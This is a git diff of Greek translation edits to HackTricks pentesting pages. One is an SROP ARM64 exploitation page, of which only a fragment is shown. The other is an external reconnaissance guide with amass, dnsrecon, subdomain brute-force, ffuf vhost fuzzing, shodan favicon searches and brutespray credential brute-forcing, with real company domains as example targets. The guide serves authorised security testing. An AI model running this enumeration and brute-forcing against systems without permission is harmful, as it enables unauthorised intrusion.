Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# SROP - ARM64
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -147,9 +147,9 @@ return 0;
|
|||
|
||||
Στην ενότητα **`vdso`** είναι δυνατή η εύρεση μιας κλήσης προς **`sigreturn`** στην απόσταση **`0x7b0`**:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (17).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Επομένως, αν διαρρεύσει, είναι δυνατόν να **χρησιμοποιηθεί αυτή η διεύθυνση για να αποκτήσετε πρόσβαση σε ένα `sigreturn`** αν το δυαδικό αρχείο δεν το φορτώνει:
|
||||
Επομένως, αν διαρρεύσει, είναι δυνατόν να **χρησιμοποιηθεί αυτή η διεύθυνση για να αποκτήσετε πρόσβαση σε ένα `sigreturn`** αν το δυαδικό δεν το φορτώνει:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -184,15 +184,15 @@ p.interactive()
|
|||
[ret2vdso.md](../ret2vdso.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Και για να παρακάμψετε τη διεύθυνση του `/bin/sh`, μπορείτε να δημιουργήσετε αρκετές μεταβλητές περιβάλλοντος που να δείχνουν σε αυτό, για περισσότερες πληροφορίες:
|
||||
Και για να παρακάμψετε τη διεύθυνση του `/bin/sh`, μπορείτε να δημιουργήσετε αρκετές μεταβλητές περιβάλλοντος που να δείχνουν σε αυτήν, για περισσότερες πληροφορίες:
|
||||
|
||||
{% content-ref url="../../common-binary-protections-and-bypasses/aslr/" %}
|
||||
[aslr](../../common-binary-protections-and-bypasses/aslr/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,23 +1,23 @@
|
|||
# Εξωτερική Μεθοδολογία Αναγνώρισης
|
||||
|
||||
{% hint style="success" %}
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Υποστήριξη HackTricks</summary>
|
||||
|
||||
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
|
||||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στο [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάκωτο - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών, γραπτά και προφορικά_).
|
||||
Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάκωτο - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών γραπτά και προφορικά_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -45,15 +45,15 @@
|
|||
Ένας αριθμός αυτόνομου συστήματος (**ASN**) είναι ένας **μοναδικός αριθμός** που αποδίδεται σε ένα **αυτόνομο σύστημα** (AS) από την **Internet Assigned Numbers Authority (IANA)**.\
|
||||
Ένα **AS** αποτελείται από **μπλοκ** **διευθύνσεων IP** που έχουν μια σαφώς καθορισμένη πολιτική για την πρόσβαση σε εξωτερικά δίκτυα και διοικούνται από μια μόνο οργάνωση αλλά μπορεί να αποτελείται από αρκετούς φορείς.
|
||||
|
||||
Είναι ενδιαφέρον να βρούμε αν η **εταιρεία έχει αποδώσει κάποιο ASN** για να βρούμε τις **περιοχές IP** της. Θα είναι ενδιαφέρον να εκτελέσουμε μια **δοκιμή ευπάθειας** σε όλους τους **φιλοξενούμενους** εντός του **πεδίου εφαρμογής** και **να αναζητήσουμε τομείς** μέσα σε αυτές τις IPs.\
|
||||
Είναι ενδιαφέρον να βρούμε αν η **εταιρεία έχει αναθέσει κάποιο ASN** για να βρούμε τις **περιοχές IP** της. Θα είναι ενδιαφέρον να εκτελέσουμε μια **δοκιμή ευπάθειας** σε όλους τους **φιλοξενούμενους** εντός του **πεδίου εφαρμογής** και **να αναζητήσουμε τομείς** μέσα σε αυτές τις IPs.\
|
||||
Μπορείτε να **αναζητήσετε** με το όνομα της εταιρείας, με **IP** ή με **τομέα** στο [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||
**Ανάλογα με την περιοχή της εταιρείας, αυτοί οι σύνδεσμοι μπορεί να είναι χρήσιμοι για τη συλλογή περισσότερων δεδομένων:** [**AFRINIC**](https://www.afrinic.net) **(Αφρική),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Βόρεια Αμερική),** [**APNIC**](https://www.apnic.net) **(Ασία),** [**LACNIC**](https://www.lacnic.net) **(Λατινική Αμερική),** [**RIPE NCC**](https://www.ripe.net) **(Ευρώπη). Ούτως ή άλλως, πιθανότατα όλες οι** χρήσιμες πληροφορίες **(περιοχές IP και Whois)** εμφανίζονται ήδη στον πρώτο σύνδεσμο.
|
||||
**Ανάλογα με την περιοχή της εταιρείας, αυτοί οι σύνδεσμοι θα μπορούσαν να είναι χρήσιμοι για τη συλλογή περισσότερων δεδομένων:** [**AFRINIC**](https://www.afrinic.net) **(Αφρική),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Βόρεια Αμερική),** [**APNIC**](https://www.apnic.net) **(Ασία),** [**LACNIC**](https://www.lacnic.net) **(Λατινική Αμερική),** [**RIPE NCC**](https://www.ripe.net) **(Ευρώπη). Ούτως ή άλλως, πιθανότατα όλες οι** χρήσιμες πληροφορίες **(περιοχές IP και Whois)** εμφανίζονται ήδη στον πρώτο σύνδεσμο.
|
||||
```bash
|
||||
#You can try "automate" this with amass, but it's not very recommended
|
||||
amass intel -org tesla
|
||||
amass intel -asn 8911,50313,394161
|
||||
```
|
||||
Επίσης, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** η καταμέτρηση υποτομέων συγκεντρώνει και συνοψίζει αυτόματα τα ASNs στο τέλος της σάρωσης.
|
||||
Επίσης, η υποτομέας καταμέτρηση του [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** συγκεντρώνει και συνοψίζει αυτόματα τα ASNs στο τέλος της σάρωσης.
|
||||
```bash
|
||||
bbot -t tesla.com -f subdomain-enum
|
||||
...
|
||||
|
@ -70,18 +70,18 @@ bbot -t tesla.com -f subdomain-enum
|
|||
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
|
||||
|
||||
```
|
||||
Μπορείτε να βρείτε τα εύρη IP μιας οργάνωσης επίσης χρησιμοποιώντας [http://asnlookup.com/](http://asnlookup.com) (έχει δωρεάν API).\
|
||||
Μπορείτε να βρείτε τα εύρη IP μιας οργάνωσης χρησιμοποιώντας επίσης [http://asnlookup.com/](http://asnlookup.com) (έχει δωρεάν API).\
|
||||
Μπορείτε να βρείτε το IP και ASN ενός τομέα χρησιμοποιώντας [http://ipv4info.com/](http://ipv4info.com).
|
||||
|
||||
### **Αναζητώντας ευπάθειες**
|
||||
|
||||
Σε αυτό το σημείο γνωρίζουμε **όλα τα περιουσιακά στοιχεία εντός του πεδίου**, οπότε αν έχετε άδεια, μπορείτε να εκκινήσετε κάποιο **εργαλείο σάρωσης ευπαθειών** (Nessus, OpenVAS) σε όλους τους hosts.\
|
||||
Σε αυτό το σημείο γνωρίζουμε **όλα τα περιουσιακά στοιχεία εντός του πεδίου**, οπότε αν έχετε άδεια, μπορείτε να εκκινήσετε κάποιο **σάρωσης ευπαθειών** (Nessus, OpenVAS) σε όλους τους hosts.\
|
||||
Επίσης, μπορείτε να εκκινήσετε κάποιες [**σάρωσεις θυρών**](../pentesting-network/#discovering-hosts-from-the-outside) **ή να χρησιμοποιήσετε υπηρεσίες όπως** shodan **για να βρείτε** ανοιχτές θύρες **και ανάλογα με το τι θα βρείτε, θα πρέπει να** ρίξετε μια ματιά σε αυτό το βιβλίο για το πώς να κάνετε pentest σε διάφορες πιθανές υπηρεσίες που τρέχουν.\
|
||||
**Επίσης, αξίζει να αναφερθεί ότι μπορείτε επίσης να προετοιμάσετε κάποιες** λίστες με προεπιλεγμένα ονόματα χρήστη **και** κωδικούς πρόσβασης **και να προσπαθήσετε να** κάνετε bruteforce υπηρεσίες με [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
|
||||
## Τομείς
|
||||
|
||||
> Γνωρίζουμε όλες τις εταιρείες εντός του πεδίου και τα περιουσιακά τους στοιχεία, ήρθε η ώρα να βρούμε τους τομείς εντός του πεδίου.
|
||||
> Γνωρίζουμε όλες τις εταιρείες εντός του πεδίου και τα περιουσιακά τους στοιχεία, είναι ώρα να βρούμε τους τομείς εντός του πεδίου.
|
||||
|
||||
_Παρακαλώ σημειώστε ότι στις παρακάτω προτεινόμενες τεχνικές μπορείτε επίσης να βρείτε υποτομείς και αυτή η πληροφορία δεν θα πρέπει να υποτιμάται._
|
||||
|
||||
|
@ -89,7 +89,7 @@ _Παρακαλώ σημειώστε ότι στις παρακάτω προτε
|
|||
|
||||
### **Αντίστροφη DNS**
|
||||
|
||||
Καθώς έχετε βρει όλα τα εύρη IP των τομέων, μπορείτε να προσπαθήσετε να εκτελέσετε **αντίστροφες αναζητήσεις DNS** σε αυτές τις **IP για να βρείτε περισσότερους τομείς εντός του πεδίου**. Προσπαθήστε να χρησιμοποιήσετε κάποιον DNS server του θύματος ή κάποιον γνωστό DNS server (1.1.1.1, 8.8.8.8)
|
||||
Καθώς έχετε βρει όλα τα εύρη IP των τομέων, μπορείτε να προσπαθήσετε να εκτελέσετε **αντίστροφες αναζητήσεις dns** σε αυτές τις **IPs για να βρείτε περισσότερους τομείς εντός του πεδίου**. Προσπαθήστε να χρησιμοποιήσετε κάποιον dns server του θύματος ή κάποιον γνωστό dns server (1.1.1.1, 8.8.8.8)
|
||||
```bash
|
||||
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
||||
|
@ -107,12 +107,12 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
|||
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Δωρεάν**
|
||||
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Δωρεάν**
|
||||
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Δωρεάν**
|
||||
* [https://www.whoxy.com/](https://www.whoxy.com) - **Δωρεάν** web, όχι δωρεάν API.
|
||||
* [https://www.whoxy.com/](https://www.whoxy.com) - **Δωρεάν** ιστότοπος, όχι δωρεάν API.
|
||||
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Όχι δωρεάν
|
||||
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Όχι δωρεάν (μόνο **100 δωρεάν** αναζητήσεις)
|
||||
* [https://www.domainiq.com/](https://www.domainiq.com) - Όχι δωρεάν
|
||||
|
||||
Μπορείτε να αυτοματοποιήσετε αυτή την εργασία χρησιμοποιώντας [**DomLink** ](https://github.com/vysecurity/DomLink)(απαιτεί κλειδί API whoxy).\
|
||||
Μπορείτε να αυτοματοποιήσετε αυτή την εργασία χρησιμοποιώντας [**DomLink** ](https://github.com/vysecurity/DomLink) (απαιτεί κλειδί API whoxy).\
|
||||
Μπορείτε επίσης να εκτελέσετε κάποια αυτόματη ανακάλυψη αντίστροφου whois με [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
|
||||
|
||||
**Σημειώστε ότι μπορείτε να χρησιμοποιήσετε αυτή την τεχνική για να ανακαλύψετε περισσότερα ονόματα τομέα κάθε φορά που βρίσκετε ένα νέο τομέα.**
|
||||
|
@ -141,7 +141,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
|||
|
||||
Απλά, το favihash θα μας επιτρέψει να ανακαλύψουμε τομείς που έχουν το ίδιο hash εικονιδίου favicon με τον στόχο μας.
|
||||
|
||||
Επιπλέον, μπορείτε επίσης να αναζητήσετε τεχνολογίες χρησιμοποιώντας το hash του favicon όπως εξηγείται σε [**αυτή την ανάρτηση στο blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Αυτό σημαίνει ότι αν γνωρίζετε το **hash του favicon μιας ευάλωτης έκδοσης μιας διαδικτυακής τεχνολογίας** μπορείτε να αναζητήσετε αν στο shodan και **να βρείτε περισσότερα ευάλωτα μέρη**:
|
||||
Επιπλέον, μπορείτε επίσης να αναζητήσετε τεχνολογίες χρησιμοποιώντας το hash του favicon όπως εξηγείται σε [**αυτή την ανάρτηση blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Αυτό σημαίνει ότι αν γνωρίζετε το **hash του favicon μιας ευάλωτης έκδοσης μιας διαδικτυακής τεχνολογίας** μπορείτε να αναζητήσετε αν στο shodan και **να βρείτε περισσότερα ευάλωτα μέρη**:
|
||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
|
@ -348,7 +348,7 @@ python3 DomainTrail.py -d example.com
|
|||
|
||||
Ας προσπαθήσουμε να βρούμε νέους **υποτομείς** κάνοντας brute-force στους DNS servers χρησιμοποιώντας πιθανά ονόματα υποτομέων.
|
||||
|
||||
Για αυτή την ενέργεια θα χρειαστείτε κάποιες **κοινές λίστες λέξεων υποτομέων όπως**:
|
||||
Για αυτή την ενέργεια θα χρειαστείτε μερικές **κοινές λίστες λέξεων υποτομέων όπως**:
|
||||
|
||||
* [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
|
||||
* [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
|
||||
|
@ -370,7 +370,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
|||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) είναι ένα wrapper γύρω από το `massdns`, γραμμένο σε go, που σας επιτρέπει να καταγράφετε έγκυρους υποτομείς χρησιμοποιώντας ενεργό bruteforce, καθώς και να επιλύετε υποτομείς με διαχείριση wildcard και εύκολη υποστήριξη εισόδου-εξόδου.
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) είναι ένα wrapper γύρω από το `massdns`, γραμμένο σε go, που σας επιτρέπει να καταγράφετε έγκυρους υποτομείς χρησιμοποιώντας ενεργό brute force, καθώς και να επιλύετε υποτομείς με διαχείριση wildcard και εύκολη υποστήριξη εισόδου-εξόδου.
|
||||
```
|
||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
|
@ -382,7 +382,7 @@ puredns bruteforce all.txt domain.com
|
|||
```
|
||||
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
||||
```
|
||||
### Δεύτερος Γύρος Brute-Force DNS
|
||||
### Δεύτερος Γύρος DNS Brute-Force
|
||||
|
||||
Αφού βρείτε υποτομείς χρησιμοποιώντας ανοιχτές πηγές και brute-forcing, μπορείτε να δημιουργήσετε παραλλαγές των υποτομέων που βρήκατε για να προσπαθήσετε να βρείτε ακόμη περισσότερους. Πολλά εργαλεία είναι χρήσιμα για αυτόν τον σκοπό:
|
||||
|
||||
|
@ -404,7 +404,7 @@ gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
|||
```
|
||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
```
|
||||
* [**dmut**](https://github.com/bp0lr/dmut): Ένα ακόμα εργαλείο για την εκτέλεση παραλλαγών, μεταλλάξεων και τροποποιήσεων υποτομέων. Αυτό το εργαλείο θα εκτελέσει brute force στο αποτέλεσμα (δεν υποστηρίζει dns wild card).
|
||||
* [**dmut**](https://github.com/bp0lr/dmut): Ένα άλλο εργαλείο για την εκτέλεση παραλλαγών, μεταλλάξεων και τροποποιήσεων υποτομέων. Αυτό το εργαλείο θα εκτελέσει brute force στο αποτέλεσμα (δεν υποστηρίζει dns wild card).
|
||||
* Μπορείτε να αποκτήσετε τη λίστα λέξεων παραλλαγών dmut [**εδώ**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
|
||||
```bash
|
||||
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||
|
@ -434,15 +434,15 @@ echo www | subzuf facebook.com
|
|||
|
||||
### **VHosts / Εικονικοί Φιλοξενούμενοι**
|
||||
|
||||
Αν βρείτε μια διεύθυνση IP που περιέχει **μία ή περισσότερες ιστοσελίδες** που ανήκουν σε υποτομείς, μπορείτε να προσπαθήσετε να **βρείτε άλλους υποτομείς με ιστοσελίδες σε αυτήν την IP** κοιτάζοντας σε **πηγές OSINT** για τομείς σε μια IP ή με **brute-forcing ονόματα τομέων VHost σε αυτήν την IP**.
|
||||
Αν βρείτε μια διεύθυνση IP που περιέχει **μία ή περισσότερες ιστοσελίδες** που ανήκουν σε υποτομείς, μπορείτε να προσπαθήσετε να **βρείτε άλλους υποτομείς με ιστοσελίδες σε αυτή τη διεύθυνση IP** αναζητώντας σε **πηγές OSINT** για τομείς σε μια διεύθυνση IP ή **δοκιμάζοντας ονόματα τομέων VHost σε αυτή τη διεύθυνση IP**.
|
||||
|
||||
#### OSINT
|
||||
|
||||
Μπορείτε να βρείτε μερικούς **VHosts σε IPs χρησιμοποιώντας** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ή άλλες APIs**.
|
||||
Μπορείτε να βρείτε μερικούς **VHosts σε διευθύνσεις IP χρησιμοποιώντας** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ή άλλες APIs**.
|
||||
|
||||
**Brute Force**
|
||||
|
||||
Αν υποψιάζεστε ότι κάποιος υποτομέας μπορεί να είναι κρυμμένος σε έναν διακομιστή ιστού, μπορείτε να προσπαθήσετε να τον brute force:
|
||||
Αν υποψιάζεστε ότι κάποιος υποτομέας μπορεί να είναι κρυμμένος σε έναν διακομιστή ιστού, μπορείτε να προσπαθήσετε να τον δοκιμάσετε με brute force:
|
||||
```bash
|
||||
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
|
||||
|
||||
|
@ -469,7 +469,7 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
|
|||
### **Buckets Brute Force**
|
||||
|
||||
Ενώ ψάχνετε για **subdomains**, προσέξτε αν **δείχνει** σε οποιοδήποτε τύπο **bucket**, και σε αυτή την περίπτωση [**ελέγξτε τα δικαιώματα**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
Επίσης, καθώς σε αυτό το σημείο θα γνωρίζετε όλα τα domains μέσα στο πεδίο, προσπαθήστε να [**brute force πιθανές ονομασίες buckets και ελέγξτε τα δικαιώματα**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
Επίσης, καθώς σε αυτό το σημείο θα γνωρίζετε όλα τα domains μέσα στο πεδίο, προσπαθήστε να [**brute force πιθανές ονομασίες bucket και ελέγξτε τα δικαιώματα**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
### **Monitorization**
|
||||
|
||||
|
@ -504,7 +504,7 @@ _Σημειώστε ότι μερικές φορές το subdomain φιλοξε
|
|||
|
||||
> Έχουμε βρει όλες τις εταιρείες και τα assets τους και γνωρίζουμε περιοχές IP, domains και subdomains μέσα στο πεδίο. Ήρθε η ώρα να αναζητήσουμε web servers.
|
||||
|
||||
Στα προηγούμενα βήματα έχετε πιθανώς ήδη εκτελέσει κάποια **recon των IPs και domains που ανακαλύφθηκαν**, οπότε μπορεί να έχετε **ήδη βρει όλους τους πιθανούς web servers**. Ωστόσο, αν δεν το έχετε κάνει, τώρα θα δούμε μερικά **γρήγορα κόλπα για να αναζητήσουμε web servers** μέσα στο πεδίο.
|
||||
Στα προηγούμενα βήματα έχετε πιθανώς ήδη εκτελέσει κάποια **recon των IPs και domains που ανακαλύφθηκαν**, οπότε μπορεί να έχετε **ήδη βρει όλους τους πιθανούς web servers**. Ωστόσο, αν δεν έχετε, τώρα θα δούμε μερικά **γρήγορα κόλπα για να αναζητήσουμε web servers** μέσα στο πεδίο.
|
||||
|
||||
Παρακαλώ σημειώστε ότι αυτό θα είναι **προσανατολισμένο στην ανακάλυψη web apps**, οπότε θα πρέπει να **εκτελέσετε τη σάρωση ευπαθειών** και **σάρωση θυρών** επίσης (**αν επιτρέπεται** από το πεδίο).
|
||||
|
||||
|
@ -516,7 +516,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
```
|
||||
### **Στιγμιότυπα**
|
||||
|
||||
Τώρα που έχετε ανακαλύψει **όλους τους διακομιστές ιστού** που υπάρχουν στο πεδίο (μεταξύ των **IP** της εταιρείας και όλων των **τομέων** και **υποτομέων**) πιθανόν **να μην ξέρετε από πού να ξεκινήσετε**. Έτσι, ας το κάνουμε απλό και ας ξεκινήσουμε απλά παίρνοντας στιγμιότυπα όλων τους. Απλά κοιτάζοντας τη **κύρια σελίδα** μπορείτε να βρείτε **περίεργα** endpoints που είναι πιο **επιρρεπή** να είναι **ευάλωτα**.
|
||||
Τώρα που έχετε ανακαλύψει **όλους τους διακομιστές ιστού** που υπάρχουν στο πεδίο (μεταξύ των **IP** της εταιρείας και όλων των **τομέων** και **υποτομέων**) πιθανόν **να μην ξέρετε από πού να ξεκινήσετε**. Έτσι, ας το κάνουμε απλό και ας ξεκινήσουμε απλά παίρνοντας στιγμιότυπα όλων τους. Απλά με **μια ματιά** στη **κύρια σελίδα** μπορείτε να βρείτε **παράξενες** διευθύνσεις που είναι πιο **επιρρεπείς** να είναι **ευάλωτες**.
|
||||
|
||||
Για να εκτελέσετε την προτεινόμενη ιδέα μπορείτε να χρησιμοποιήσετε [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) ή [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
||||
|
||||
|
@ -579,7 +579,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
|
||||
#### Github Dorks
|
||||
|
||||
Ελέγξτε επίσης αυτή τη **σελίδα** για πιθανά **github dorks** που θα μπορούσατε επίσης να αναζητήσετε στην οργάνωση που επιτίθεστε:
|
||||
Ελέγξτε επίσης αυτή τη **σελίδα** για πιθανούς **github dorks** που θα μπορούσατε επίσης να αναζητήσετε στην οργάνωση που επιτίθεστε:
|
||||
|
||||
{% content-ref url="github-leaked-secrets.md" %}
|
||||
[github-leaked-secrets.md](github-leaked-secrets.md)
|
||||
|
@ -592,7 +592,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
|
||||
### Google Dorks
|
||||
|
||||
Οι παλιοί αλλά χρυσοί google dorks είναι πάντα χρήσιμοι για να βρείτε **εκτεθειμένες πληροφορίες που δεν θα έπρεπε να υπάρχουν εκεί**. Το μόνο πρόβλημα είναι ότι η [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) περιέχει αρκετές **χιλιάδες** πιθανές ερωτήσεις που δεν μπορείτε να εκτελέσετε χειροκίνητα. Έτσι, μπορείτε να πάρετε τις αγαπημένες σας 10 ή να χρησιμοποιήσετε ένα **εργαλείο όπως** [**Gorks**](https://github.com/carlospolop/Gorks) **για να τα εκτελέσετε όλα**.
|
||||
